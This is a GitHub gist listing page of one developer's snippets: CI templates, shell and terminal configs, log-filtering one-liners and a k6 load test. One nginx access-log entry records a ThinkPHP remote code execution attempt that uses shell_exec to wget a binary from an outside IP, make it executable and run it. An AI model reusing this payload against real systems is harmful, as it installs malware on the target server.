Skip to content

Instantly share code, notes, and snippets.

package main
import (
"bytes"
"fmt"
"gopkg.in/yaml.v3"
"log"
"os"
"os/exec"
"path/filepath"
@boynoiz
boynoiz / email-html-custom.template.groovy
Created January 29, 2021 07:19
Custom Jenkins Email Template
<!DOCTYPE html>
<html lang="en">
<head>
<title>Jenkins build report</title>
<style type="text/css">
body, table, td, th, p {
font-family: Calibri, Verdana, Helvetica, sans serif;
font-size: 12px;
color: black;
}
@boynoiz
boynoiz / config.fish
Last active February 15, 2023 12:24
My fish
#set PATH
set PATH $HOME/bin $HOME/.local/bin /usr/local/bin /usr/share /usr/local/go/bin $GOPATH/bin $PATH
#encoding
set LANG en_US.UTF-8
set LANGUAGE en_US.UTF-8
set LC_ALL en_US.UTF-8
set LC_MESSAGES en_US.UTF-8
# Load all function
@boynoiz
boynoiz / profile.json
Created July 14, 2019 05:47 — forked from fcharlie/profile.json
My Windows Terminal profile.json
{
"defaultProfile": "{410aa365-68e4-4a68-83f5-6139ccb43b0a}",
"initialRows": 30,
"initialCols": 120,
"alwaysShowTabs": true,
"showTerminalTitleInTitlebar": true,
"experimental_showTabsInTitlebar": true,
"profiles": [
{
"startingDirectory": "C:\\Users\\$Username",
#!/bin/bash
set -e
function help() {
cat << EOF >&2
Usage : ./smooth_del.sh <dir> <ext> <day(s)> <quiet (optional)>
<dir> : The path of directory eg. /var/log/something_log/
<ext> : The extension of file to delete eg. jpg
<day(s)> : Amount number of the day eg. 14 mean 2 weeks
{
"@timestamp": "2019-04-08T10:59:35+07:00",
"@fields": {
"remote_addr": "138.68.17.41",
"remote_user": "-",
"status": "404",
"request": "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi HTTP/1.1",
"request_uri": "/public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi",
"request_method": "GET",
"request_time": "0.000",
import http from "k6/http";
import { check } from "k6";
import { Trend, Rate, Counter, Gauge } from "k6/metrics";
export let TrendRTT = new Trend("RTT");
export let RateContentOK = new Rate("ContentOK");
export let TrackRate = new Rate("TrackRate");
export let GaugeContentSize = new Gauge("ContentSize");
export let GaugeResponseTime = new Gauge("ResponseTime");
export let CounterErrors = new Counter("Errors");
@boynoiz
boynoiz / logFilter.sh
Last active March 28, 2019 07:31
Log filter with awk
awk 'match($1,/RequestTime:([0-9]+)/, arr) && arr[1] > 2000 && $6 >= "[27/Mar/2019:09:00:00" && $6 < "[27/Mar/2019:23:59:00" && !/web_service|.ico|.svg|.png|.jpg|.jpeg|.css|.js|.gif|.woff2|:0m/' input.log > output.log
#!/bin/sh
ps -ylC apache2 --sort:rss | awk '{ s += $8; } END { print "Average Size:", s/(NR-1)/1024, "MB,", NR-1, "Processes, Total usage:", (s/(NR-1)/1024)*(NR-1), "MB, Max Servers:", 6500/(s/(NR-1)/1024) }'
{
"env": {
"development" : {
"presets": [
["env", {
"targets": {
"browsers": ["last 2 versions", "> 5% in BE"],
"uglify": false
},
"modules": false